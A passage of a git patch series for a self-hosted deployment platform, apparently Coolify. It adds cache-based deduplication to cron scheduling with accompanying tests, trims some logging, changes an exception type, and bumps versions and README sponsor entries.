SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity @@ -129,13 +130,13 @@ private function processServerTasks(Server $server): void if ($sentinelOutOfSync) { // Dispatch ServerCheckJob if Sentinel is out of sync - if ($this->shouldRunNow($this->checkFrequency, $serverTimezone)) { + if ($this->shouldRunNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}")) { ServerCheckJob::dispatch($server); } } $isSentinelEnabled = $server->isSentinelEnabled(); - $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone); + $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}"); // Dispatch Sentinel restart if due (daily for Sentinel-enabled servers) if ($shouldRestartSentinel) { @@ -149,7 +150,7 @@ private function processServerTasks(Server $server): void if (isset(VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency])) { $serverDiskUsageCheckFrequency = VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency]; } - $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone); + $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}"); if ($shouldRunStorageCheck) { ServerStorageCheckJob::dispatch($server); @@ -157,7 +158,7 @@ private function processServerTasks(Server $server): void } // Dispatch ServerPatchCheckJob if due (weekly) - $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone); + $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}"); if ($shouldRunPatchCheck) { // Weekly on Sunday at midnight ServerPatchCheckJob::dispatch($server); @@ -167,7 +168,14 @@ private function processServerTasks(Server $server): void // Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob. } - private function shouldRunNow(string $frequency, ?string $timezone = null): bool + /** + * Determine if a cron schedule should run now. + * + * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking + * instead of isDue(). This is resilient to queue delays — even if the job is delayed + * by minutes, it still catches the missed cron window. + */ + private function shouldRunNow(string $frequency, ?string $timezone = null, ?string $dedupKey = null): bool { $cron = new CronExpression($frequency); @@ -175,6 +183,29 @@ private function shouldRunNow(string $frequency, ?string $timezone = null): bool $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone ?? config('app.timezone')); - return $cron->isDue($executionTime); + if ($dedupKey === null) { + return $cron->isDue($executionTime); + } + + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + + $lastDispatched = Cache::get($dedupKey); + + if ($lastDispatched === null) { + $isDue = $cron->isDue($executionTime); + if ($isDue) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + } + + return $isDue; + } + + if ($previousDue->gt(Carbon::parse($lastDispatched))) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + + return true; + } + + return false; } } diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php index f820c3777..e445e9908 100644 --- a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -194,6 +194,55 @@ expect($result2)->toBeFalse(); }); +it('catches delayed docker cleanup when job runs past the cron minute', function () { + // Simulate a previous dispatch at :10 + Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400); + + // Freeze time at :22 — job was delayed 2 minutes past the :20 cron window + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at :22, but getPreviousRunDate() = :20 + // lastDispatched = :10 → :20 > :10 → fires + $result = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:42'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch docker cleanup within same cron window', function () { + // First dispatch at :10 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($first)->toBeTrue(); + + // Second run at :11 — should NOT dispatch (previousDue=:10, lastDispatched=:10) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($second)->toBeFalse(); +}); + it('respects server timezone for cron evaluation', function () { // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8) Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC')); diff --git a/tests/Feature/ServerManagerJobShouldRunNowTest.php b/tests/Feature/ServerManagerJobShouldRunNowTest.php new file mode 100644 index 000000000..518f05c9c --- /dev/null +++ b/tests/Feature/ServerManagerJobShouldRunNowTest.php @@ -0,0 +1,102 @@ +toIso8601String(), 86400); + + // Job runs 3 minutes late at 00:03 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today + // lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires + $result = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed weekly patch check when job runs past the cron minute', function () { + // Simulate previous dispatch last Sunday at midnight + Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400); + + // This Sunday at 00:02 — job was delayed 2 minutes + // 2026-03-01 is a Sunday + Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 0 * * 0', 'UTC', 'server-patch-check:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed storage check when job runs past the cron minute', function () { + // Simulate previous dispatch yesterday at 23:00 + Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Today at 23:04 — job was delayed 4 minutes + Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 23 * * *', 'UTC', 'server-storage-check:5'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch within same cron window', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($first)->toBeTrue(); + + // Next minute — should NOT dispatch again + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($second)->toBeFalse(); +}); From fef8e0b622706b5d7bacbbecc696d9c9eb783cdd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:57:26 +0100 Subject: [PATCH 30/49] refactor: remove verbose logging and use explicit exception types - Remove verbose warning/debug logs from ServerConnectionCheckJob and ContainerStatusAggregator - Silently ignore expected errors (e.g., deleted Hetzner servers) - Replace generic RuntimeException with DeploymentException for deployment command failures - Catch both RuntimeException and DeploymentException in command retry logic --- app/Jobs/ServerConnectionCheckJob.php | 11 ++--------- app/Services/ContainerStatusAggregator.php | 14 -------------- app/Traits/ExecuteRemoteCommand.php | 5 +++-- 3 files changed, 5 insertions(+), 25 deletions(-) diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index d4a499865..2c73ae43e 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -108,10 +108,6 @@ public function handle() public function failed(?\Throwable $exception): void { if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { - Log::warning('ServerConnectionCheckJob timed out', [ - 'server_id' => $this->server->id, - 'server_name' => $this->server->name, - ]); $this->server->settings->update([ 'is_reachable' => false, 'is_usable' => false, @@ -131,11 +127,8 @@ private function checkHetznerStatus(): void $serverData = $hetznerService->getServer($this->server->hetzner_server_id); $status = $serverData['status'] ?? null; - } catch (\Throwable $e) { - Log::debug('ServerConnectionCheck: Hetzner status check failed', [ - 'server_id' => $this->server->id, - 'error' => $e->getMessage(), - ]); + } catch (\Throwable) { + // Silently ignore — server may have been deleted from Hetzner. } if ($this->server->hetzner_server_status !== $status) { $this->server->update(['hetzner_server_status' => $status]); diff --git a/app/Services/ContainerStatusAggregator.php b/app/Services/ContainerStatusAggregator.php index 2be36d905..8859a9980 100644 --- a/app/Services/ContainerStatusAggregator.php +++ b/app/Services/ContainerStatusAggregator.php @@ -54,13 +54,6 @@ public function aggregateFromStrings(Collection $containerStatuses, int $maxRest $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containerStatuses->count(), - ]); - } - if ($containerStatuses->isEmpty()) { return 'exited'; } @@ -138,13 +131,6 @@ public function aggregateFromContainers(Collection $containers, int $maxRestartC $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containers->count(), - ]); - } - if ($containers->isEmpty()) { return 'exited'; } diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index a4ea6abe5..72e0adde8 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -3,6 +3,7 @@ namespace App\Traits; use App\Enums\ApplicationDeploymentStatus; +use App\Exceptions\DeploymentException; use App\Helpers\SshMultiplexingHelper; use App\Models\Server; use Carbon\Carbon; @@ -103,7 +104,7 @@ public function execute_remote_command(...$commands) try { $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors); $commandExecuted = true; - } catch (\RuntimeException $e) { + } catch (\RuntimeException|DeploymentException $e) { $lastError = $e; $errorMessage = $e->getMessage(); // Only retry if it's an SSH connection error and we haven't exhausted retries @@ -233,7 +234,7 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe $error = $process_result->output() ?: 'Command failed with no error output'; } $redactedCommand = $this->redact_sensitive_info($command); - throw new \RuntimeException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); + throw new DeploymentException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); } } } From 1511797e0a03a29349b1d71e9015ea00a713feff Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:59:23 +0100 Subject: [PATCH 31/49] fix(docker): skip cleanup stale warning on cloud instances --- resources/views/livewire/server/docker-cleanup.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/livewire/server/docker-cleanup.blade.php b/resources/views/livewire/server/docker-cleanup.blade.php index 2fd8fc2ab..ac48651ae 100644 --- a/resources/views/livewire/server/docker-cleanup.blade.php +++ b/resources/views/livewire/server/docker-cleanup.blade.php @@ -27,7 +27,7 @@
    Configure Docker cleanup settings for your server.
    - @if ($this->isCleanupStale) + @if (!isCloud() && $this->isCleanupStale)

    The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago, From 820ee1c03cbadcf5a5e269be7a37e8a71d5e2022 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:34:58 +0100 Subject: [PATCH 32/49] docs(sponsors): update Brand.dev to Context.dev --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b7aefe16a..73af2a18c 100644 --- a/README.md +++ b/README.md @@ -70,7 +70,7 @@ ### Big Sponsors * [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions * [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner * [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform -* [Brand.dev](https://brand.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain +* [Context.dev](https://context.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain * [ByteBase](https://www.bytebase.com?ref=coolify.io) - Database CI/CD and Security at Scale * [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half * [COMIT](https://comit.international?ref=coolify.io) - New York Times award–winning contractor From 069bf4cc82c1d534d0ef0df3d3d4679c1f827a36 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:35:16 +0100 Subject: [PATCH 33/49] chore(versions): bump coolify, sentinel, and traefik versions --- other/nightly/versions.json | 8 ++++---- versions.json | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 7564f625e..57bb21869 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.469" + "version": "4.0.0-beta.470" }, "nightly": { "version": "4.0.0" @@ -13,17 +13,17 @@ "version": "1.0.11" }, "sentinel": { - "version": "0.0.19" + "version": "0.0.20" } }, "traefik": { - "v3.6": "3.6.5", + "v3.6": "3.6.11", "v3.5": "3.5.6", "v3.4": "3.4.5", "v3.3": "3.3.7", "v3.2": "3.2.5", "v3.1": "3.1.7", "v3.0": "3.0.4", - "v2.11": "2.11.32" + "v2.11": "2.11.40" } } diff --git a/versions.json b/versions.json index 7564f625e..57bb21869 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.469" + "version": "4.0.0-beta.470" }, "nightly": { "version": "4.0.0" @@ -13,17 +13,17 @@ "version": "1.0.11" }, "sentinel": { - "version": "0.0.19" + "version": "0.0.20" } }, "traefik": { - "v3.6": "3.6.5", + "v3.6": "3.6.11", "v3.5": "3.5.6", "v3.4": "3.4.5", "v3.3": "3.3.7", "v3.2": "3.2.5", "v3.1": "3.1.7", "v3.0": "3.0.4", - "v2.11": "2.11.32" + "v2.11": "2.11.40" } } From f0ed05b399bdfa9697423f4cfbab5b8722529519 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:35:47 +0100 Subject: [PATCH 34/49] fix(docker): log failed cleanup attempts when server is not functional --- app/Jobs/DockerCleanupJob.php | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index a8a3cb159..16f3d88ad 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -46,14 +46,20 @@ public function __construct( public function handle(): void { try { - if (! $this->server->isFunctional()) { - return; - } - $this->execution_log = DockerCleanupExecution::create([ 'server_id' => $this->server->id, ]); + if (! $this->server->isFunctional()) { + $this->execution_log->update([ + 'status' => 'failed', + 'message' => 'Server is not functional (unreachable, unusable, or disabled)', + 'finished_at' => Carbon::now()->toImmutable(), + ]); + + return; + } + $this->usageBefore = $this->server->getDiskUsage(); if ($this->manualCleanup || $this->server->settings->force_docker_cleanup) { From 89f2b83104cce1b4117b28539c5abb57d9b3522d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:36:08 +0100 Subject: [PATCH 35/49] style(modal-confirmation): improve mobile responsiveness Make modal full-screen on mobile devices with responsive padding, border radius, and dimensions. Modal is now full-screen on small screens and constrained to max-width/max-height on larger screens. --- resources/views/components/modal-confirmation.blade.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index 615512b94..c1e8a3e54 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -190,7 +190,7 @@ class="relative w-auto h-auto"> @endif